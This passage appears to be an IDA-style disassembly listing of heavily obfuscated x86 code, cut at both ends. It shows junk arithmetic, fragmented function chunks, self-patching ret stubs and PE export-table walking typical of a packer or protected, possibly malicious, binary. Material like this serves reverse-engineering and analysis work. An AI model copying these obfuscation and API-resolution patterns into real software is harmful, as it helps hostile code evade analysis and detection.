CHUNK AT 007497D0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074B63E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074C099 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074D985 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DB18 SIZE 0000000D BYTES push eax mov eax, ebp jmp loc_7497D0 sub_74721B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748538 loc_747223: ; CODE XREF: sub_748538+14j pop ecx loc_747224: ; CODE XREF: _0z4jwtox:0074F4D7j xor edx, 43DEAF91h add edx, ebp add edx, 52D589DFh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_756357 ; END OF FUNCTION CHUNK FOR sub_748538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74723D: ; CODE XREF: sub_74F78B+21j pop ecx lea eax, loc_74DCA0 mov byte ptr [eax], 0C3h jmp loc_747374 ; END OF FUNCTION CHUNK FOR sub_74F78B ; =============== S U B R O U T I N E ======================================= sub_74724C proc near ; CODE XREF: sub_41BDAF+Cp ; _0z4jwtox:0075077Fj ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745C3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748F85 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074F170 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074F395 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075078A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00753CDB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 007540B8 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00754F92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755EB3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075636C SIZE 00000021 BYTES push edx push 4E1AE112h pop edx jmp loc_74F170 sub_74724C endp ; =============== S U B R O U T I N E ======================================= sub_747258 proc near ; CODE XREF: sub_757269j ; DATA XREF: sub_757251+Eo imul byte ptr [edx] cmp al, 0A4h sub_747258 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_75275A loc_74725C: ; CODE XREF: sub_75275A:loc_7524A4j jz loc_755EEB loc_747262: ; CODE XREF: _0z4jwtox:loc_746ECCj jmp loc_74E20F ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- mov ds:dword_41F174, eax lea eax, nullsub_24 mov byte ptr [eax], 0C3h jmp nullsub_24 ; =============== S U B R O U T I N E ======================================= sub_74727B proc near ; CODE XREF: sub_41BDCB+Cp ; sub_74727B+5j ; DATA XREF: ... call sub_747290 jmp ds:off_41F178 sub_74727B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_747286: ; CODE XREF: sub_74D1F3+3A32j jmp loc_74C7F3 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74728B: ; CODE XREF: sub_757151-8E73j jmp loc_74E33B ; END OF FUNCTION CHUNK FOR sub_757151 ; =============== S U B R O U T I N E ======================================= sub_747290 proc near ; CODE XREF: sub_74727Bp ; _0z4jwtox:007476EFj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745CA4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074A08F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C13C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074C6C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D141 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074D1D7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074F123 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074F4F8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00750B82 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00752A0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756C74 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075741D SIZE 00000005 BYTES pop edx jmp loc_75741D sub_747290 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_747296: ; CODE XREF: sub_748C0D+4989j call sub_753176 ; END OF FUNCTION CHUNK FOR sub_748C0D ; START OF FUNCTION CHUNK FOR sub_752B0C loc_74729B: ; CODE XREF: sub_752B0C:loc_74D74Fj add esp, 8 loc_74729E: ; CODE XREF: _0z4jwtox:loc_756E28j movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] jmp loc_74EE03 ; END OF FUNCTION CHUNK FOR sub_752B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7558D0 loc_7472AF: ; CODE XREF: sub_7558D0-488Cj ; sub_7558D0-4883j xor ecx, 90CA3CBBh popf sub eax, ecx pop ecx jmp loc_747216 ; END OF FUNCTION CHUNK FOR sub_7558D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7472BE: ; CODE XREF: sub_747AECj push 0C15C7A19h pop eax jmp loc_751624 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_7472C9 proc near ; DATA XREF: _0z4jwtox:00755516o push 5D600D14h pop ecx or ecx, 0FCF6F020h add ecx, 18117679h or ecx, 0D15B3982h jmp loc_74EE0D sub_7472C9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DAAF loc_7472E6: ; CODE XREF: sub_74DAAF-3418j xchg edx, [esp+4+var_4] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74DAAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_7472EE: ; CODE XREF: sub_753FCE+204Cj adc ebp, 0EEBB1EC1h cdq add esi, 5DCF283Ah loc_7472FB: ; CODE XREF: sub_753FCE:loc_74B103j ; sub_74BD6F+4j ... jmp loc_75249F ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_747300: ; CODE XREF: sub_753FCE-18FCj ; sub_752520+2452j call sub_74D4C5 loc_747305: ; CODE XREF: _0z4jwtox:00746DF4j jmp loc_74EDDC ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E11E loc_74730A: ; CODE XREF: sub_74E11E+10j rol edx, 0Bh loc_74730D: ; CODE XREF: _0z4jwtox:loc_74F3C0j xor edx, 4DE7F2BEh rol edx, 0Fh add edx, 125A6888h jmp loc_74A88E ; END OF FUNCTION CHUNK FOR sub_74E11E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_747321: ; CODE XREF: sub_74CF35:loc_74AAAFj call sub_74FA8F jnz loc_745A59 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_754B5C jmp loc_747F5D ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_74733D: ; CODE XREF: sub_748723-22B6j cmp byte ptr [eax], 0F1h jnz loc_74F302 jmp loc_74EBC1 ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- mov ds:dword_41F0B0, eax lea eax, nullsub_15 mov byte ptr [eax], 0C3h jmp loc_752519 ; --------------------------------------------------------------------------- xchg eax, [esp] mov edx, eax jmp loc_7573AC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74736A: ; CODE XREF: sub_747AEC+5F92j jmp loc_7569A3 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747968 loc_74736F: ; CODE XREF: sub_747968+5j jmp loc_74C18F ; END OF FUNCTION CHUNK FOR sub_747968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_747374: ; CODE XREF: sub_74F78B-8544j jmp loc_74DCA0 ; END OF FUNCTION CHUNK FOR sub_74F78B ; =============== S U B R O U T I N E ======================================= sub_747379 proc near ; CODE XREF: _0z4jwtox:00753124p ; _0z4jwtox:00756F62j ; FUNCTION CHUNK AT 007468DB SIZE 0000000F BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jmp loc_7468DB sub_747379 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_747388: ; CODE XREF: sub_74A71A+Aj jns loc_74FAE1 inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] push offset loc_747561 jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- loc_74739E: ; CODE XREF: _0z4jwtox:loc_751FD5j ror edi, 14h ja loc_748893 jmp sub_74BED4 ; --------------------------------------------------------------------------- push 7EDD6C4Bh jmp sub_74CD80 ; --------------------------------------------------------------------------- loc_7473B6: ; CODE XREF: _0z4jwtox:007465BDj sbb edi, 47B5AE10h jmp loc_745667 ; --------------------------------------------------------------------------- loc_7473C1: ; CODE XREF: _0z4jwtox:00750576j push edx pop ebp xchg ebp, [esp] push edx jmp loc_74ACF5 ; --------------------------------------------------------------------------- loc_7473CC: ; CODE XREF: _0z4jwtox:0074AFCFj push 5D91A9FCh ; =============== S U B R O U T I N E ======================================= sub_7473D1 proc near ; CODE XREF: sub_74F615+5702p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 007451AF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007451C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074716B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747F08 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007495C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E2E3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074E976 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EC6F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074F043 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074F649 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F9BB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 007506E2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00751538 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0075215A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075276D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00754AC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007550A6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00756D89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757454 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007575BC SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add eax, [ebp-18h] cmp eax, [ebp-10h] jbe loc_75276D jmp loc_74716B sub_7473D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7473E6 proc near ; CODE XREF: _0z4jwtox:00749301j ; sub_750638:loc_755818p ; FUNCTION CHUNK AT 00747AFC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00748AE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A5F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B48C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B569 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074DB3B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074EE8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756B06 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx xor edx, 0DF93A80Ah add edx, ebp add edx, 0CE7CD3DCh jmp loc_74A5F6 sub_7473E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7473FD: ; CODE XREF: _0z4jwtox:0074E7DCj ; _0z4jwtox:0074E7F2j add edx, 46FB1A7Bh xchg edx, [esp] jmp locret_749DA6 ; --------------------------------------------------------------------------- shl esi, 2 jmp sub_745183 ; --------------------------------------------------------------------------- loc_747413: ; CODE XREF: _0z4jwtox:007477F7j cdq push 815D9F17h test eax, 0BEE5CE2h jmp loc_7524CB ; --------------------------------------------------------------------------- loc_747424: ; CODE XREF: _0z4jwtox:00750F7Ej jbe loc_748EF6 ; =============== S U B R O U T I N E ======================================= sub_74742A proc near ; CODE XREF: sub_74C670+3F41p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074B481 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075106E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007514DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007544DE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755BFE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00756EAB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00756FD7 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax cmp byte ptr [eax], 0F1h jnz loc_755BFE jmp loc_7514DF sub_74742A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_74743C: ; CODE XREF: sub_74C1D8:loc_74EC6Aj or esi, 8C56B113h and esi, 0F1CCA04Ah rol esi, 11h add esi, 0C05F8869h jmp loc_747127 ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- mov edx, ds:dword_74B938 mov ebx, [edx] sub ebx, eax mov ecx, [ebp-4] mov eax, 1 shl eax, cl not eax jmp loc_753D09 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A372 loc_747472: ; CODE XREF: sub_74A372+A81Dj ; DATA XREF: .data:off_42CAECo jmp loc_750D5C ; END OF FUNCTION CHUNK FOR sub_74A372 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_747477: ; CODE XREF: sub_74AE46:loc_74BAF0j jnz loc_74F1D4 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; START OF FUNCTION CHUNK FOR sub_74A96E loc_74747D: ; CODE XREF: sub_74A96E+94E0j jmp loc_74CCDD ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_747482: ; CODE XREF: sub_75364C-8891j jmp loc_74FE1C ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- sbb edi, 0B17B9221h and ebp, edi and eax, edi jmp loc_750515 ; --------------------------------------------------------------------------- loc_747496: ; DATA XREF: _0z4jwtox:007493E6o add eax, 990940D4h xchg eax, [esp] jmp loc_746ACB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745644 loc_7474A4: ; CODE XREF: sub_745644+6j pop edi xor edi, 3F414753h add edi, 0A0B63F5h xchg edi, [esp+4+var_4] jmp loc_754264 ; END OF FUNCTION CHUNK FOR sub_745644 ; =============== S U B R O U T I N E ======================================= sub_7474B9 proc near ; CODE XREF: _0z4jwtox:0074C78Dj ; sub_7474B9+D4D8p var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074531A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007453CB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007465FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746FAF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007481C5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 007493A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C4E0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0074D995 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DDA5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074F10A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074F2CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F6F3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074F93B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007501FD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007520C8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752F44 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00754643 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075498B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00754BD6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00755764 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00756932 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00757183 SIZE 0000000E BYTES xchg eax, [esp+8+var_8] pop eax mov eax, [esp+0] push ecx mov ecx, edx xchg ecx, [esp+8+var_8] call sub_754A3D push 0F8EB1656h jmp loc_74C4E0 sub_7474B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749088 loc_7474D5: ; CODE XREF: sub_749088+1Dj add eax, 67CB45Fh xchg eax, [esp+0] jmp sub_754A3D ; END OF FUNCTION CHUNK FOR sub_749088 ; =============== S U B R O U T I N E ======================================= sub_7474E3 proc near ; CODE XREF: _0z4jwtox:00750832p ; _0z4jwtox:00752906j arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] jmp sub_746E93 sub_7474E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7474EF: ; CODE XREF: _0z4jwtox:00746177j ja loc_746676 ; =============== S U B R O U T I N E ======================================= sub_7474F5 proc near ; CODE XREF: sub_74E7AE:loc_756E79p ; FUNCTION CHUNK AT 00749FC6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074B2BB SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00756591 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax jmp loc_756591 sub_7474F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_74750A: ; CODE XREF: sub_75043C+10C6j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_748342 mov ecx, [ebx+ecx+0Ch] jmp loc_74D0E9 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- jnb loc_74EC52 jmp sub_745C5B ; --------------------------------------------------------------------------- loc_74752D: ; CODE XREF: _0z4jwtox:00750A92j xor edi, ebx and eax, 0B9A236D6h loc_747535: ; CODE XREF: _0z4jwtox:loc_7456EEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74F77B jmp loc_749BD2 ; =============== S U B R O U T I N E ======================================= sub_747546 proc near ; CODE XREF: _0z4jwtox:00748517p ; _0z4jwtox:007491E6j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074A4C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007540E3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00754800 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push 894996BBh pop ecx sub ecx, 7EFFDF06h add ecx, 0F62AC3DFh jmp loc_74A4C4 sub_747546 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_747561: ; DATA XREF: sub_74A71A-3386o mov eax, ds:dword_75162C[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 push offset sub_74FAD6 jmp locret_74D40D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_747579: ; CODE XREF: sub_74673E+9FF8j js loc_750069 shr ebx, 13h ; END OF FUNCTION CHUNK FOR sub_74673E ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_747582: ; CODE XREF: sub_7490F6:loc_74EE3Ej jno loc_7468CA loc_747588: ; CODE XREF: sub_74673E:loc_7553D2j call sub_7500AE mov edx, 0DDABAF17h call sub_74B525 jmp loc_755F72 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_74759C: ; CODE XREF: sub_7475CB:loc_7493BDj jz loc_753B07 jmp loc_748946 ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749EC9 loc_7475A7: ; CODE XREF: sub_749EC9+2Ej jl loc_75467F ; END OF FUNCTION CHUNK FOR sub_749EC9 ; START OF FUNCTION CHUNK FOR sub_74673E loc_7475AD: ; CODE XREF: sub_74673E+32BAj jmp loc_756AE1 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- cmp edx, 6763F6E7h jmp loc_754677 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756826 loc_7475BD: ; CODE XREF: sub_756826-9EBj jnp loc_755CCA or ecx, edi jmp loc_747FAF ; END OF FUNCTION CHUNK FOR sub_756826 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7475CB proc near ; CODE XREF: _0z4jwtox:007492D2j ; sub_754FC6-845Cp ; FUNCTION CHUNK AT 0074759C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748946 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007490E9 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 007493B3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074B10E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074B675 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074C12D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074F481 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00753AFF SIZE 00000016 BYTES xchg esi, [esp+0] pop esi call sub_752E0F lea eax, [ebp-14h] push eax jmp loc_7493B3 sub_7475CB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7475DD proc near ; CODE XREF: sub_754FC6+3j ; FUNCTION CHUNK AT 007492D7 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0074CC1E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00754DD0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756B1B SIZE 0000001A BYTES add esp, 0FFFFFFECh mov eax, offset dword_7575C4 call sub_745BF7 jmp loc_7492D7 sub_7475DD endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7475F0: ; CODE XREF: sub_747C22+DDB1j jmp loc_74CB21 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F9E6 loc_7475F5: ; CODE XREF: sub_74F9E6+7j push 4DE3174Eh pop esi and esi, 0F846EE63h ; END OF FUNCTION CHUNK FOR sub_74F9E6 ; START OF FUNCTION CHUNK FOR sub_74D782 loc_747601: ; CODE XREF: sub_74D782:loc_749D85j add esi, 19E320EBh add eax, esi pop esi mov eax, [eax] push offset sub_7453AD jmp loc_75407A ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_747616: ; CODE XREF: sub_7514AC-9275j jz loc_7556F9 jmp loc_74E3AC ; END OF FUNCTION CHUNK FOR sub_7514AC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_747622 proc near ; CODE XREF: _0z4jwtox:00746FAAj ; _0z4jwtox:00755DD5p ; FUNCTION CHUNK AT 00752A2B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00754958 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-18h] jmp loc_752A2B sub_747622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_74762E: ; CODE XREF: sub_746CC3+Fj adc edx, [esp+arg_0] add esp, 8 jmp loc_755905 ; END OF FUNCTION CHUNK FOR sub_746CC3 ; =============== S U B R O U T I N E ======================================= sub_74763A proc near ; DATA XREF: _0z4jwtox:0074CFADo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00747642 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007480C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EB33 SIZE 00000010 BYTES mov byte ptr [eax], 0C3h jmp loc_7480C6 sub_74763A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74763A loc_747642: ; CODE XREF: sub_74763A:loc_74EB33j xchg ebx, [esp+0] mov edx, ebx pop ebx mov eax, [esp-4+arg_0] push edx push offset loc_746A92 jmp nullsub_293 ; END OF FUNCTION CHUNK FOR sub_74763A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7459BC loc_747656: ; CODE XREF: sub_7459BC:loc_74DB88j jnz loc_74F4AE ; END OF FUNCTION CHUNK FOR sub_7459BC ; START OF FUNCTION CHUNK FOR sub_749229 loc_74765C: ; CODE XREF: sub_749229+E665j jmp nullsub_255 ; END OF FUNCTION CHUNK FOR sub_749229 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75547D loc_747661: ; CODE XREF: sub_75547D+1Bj jmp loc_7501E5 ; END OF FUNCTION CHUNK FOR sub_75547D ; --------------------------------------------------------------------------- xor edi, 745B40Ah jb loc_74D64C mov edx, 6B5F494Dh loc_747677: ; CODE XREF: _0z4jwtox:0074A367j jmp loc_74E7F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_74767C: ; CODE XREF: sub_749B76+Cj ; _0z4jwtox:00749B8Dj ... jnz loc_749808 mov eax, [ebp-4] call sub_745911 test al, al jnz loc_7488E0 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_74A596 jmp loc_745430 ; END OF FUNCTION CHUNK FOR sub_749B76 ; =============== S U B R O U T I N E ======================================= sub_7476A3 proc near ; DATA XREF: sub_75275A-2A4o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074FA4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007501CF SIZE 0000000E BYTES push eax push 674A4E20h pop eax add eax, 84835D8Bh or eax, 0B7F81F46h jmp loc_7501CF sub_7476A3 endp ; =============== S U B R O U T I N E ======================================= sub_7476BB proc near ; CODE XREF: sub_7468F2+Cp ; _0z4jwtox:0074CA18j ; FUNCTION CHUNK AT 0074821C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D6AD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750A3F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00756A35 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx mov ebp, esp push esi mov esi, ecx xchg esi, [esp+0] mov [ebp-4], eax jmp loc_74821C sub_7476BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_7476CF: ; CODE XREF: sub_74C1D8:loc_746118j xchg ebp, [esp+0] mov esi, ebp pop ebp add esi, 0D3E83AC9h jmp loc_74EC6A ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- mov ds:off_41F178, eax lea eax, sub_747290 mov byte ptr [eax], 0C3h jmp sub_747290 ; =============== S U B R O U T I N E ======================================= sub_7476F4 proc near ; CODE XREF: sub_417565+215p ; sub_41E5C3+2Ep ... push offset loc_747A5C jmp nullsub_31 sub_7476F4 endp ; --------------------------------------------------------------------------- push 38EA39A6h jmp sub_750560 ; --------------------------------------------------------------------------- loc_747708: ; DATA XREF: _0z4jwtox:00754A49o add esi, 0A9ACA55Fh mov [esi], eax xchg edi, [esp] mov esi, edi pop edi jmp loc_74C252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74771B: ; CODE XREF: sub_74FE55-453Fj jnz loc_75600D jmp loc_74A5DE ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749BBA loc_747726: ; CODE XREF: sub_749BBA:loc_74BD84j mov ecx, 331F32E6h add esi, 7717EFE5h jmp loc_7468BC ; END OF FUNCTION CHUNK FOR sub_749BBA ; =============== S U B R O U T I N E ======================================= sub_747736 proc near ; CODE XREF: sub_74C2F6j ; DATA XREF: sub_74BF3A:loc_74C2ECo var_8 = dword ptr -8 ; FUNCTION CHUNK AT 007450DC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00745A1F SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00745B74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007461B9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074690D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00746F6A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007477B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074782D SIZE 0000000F BYTES ; FUNCTION CHUNK 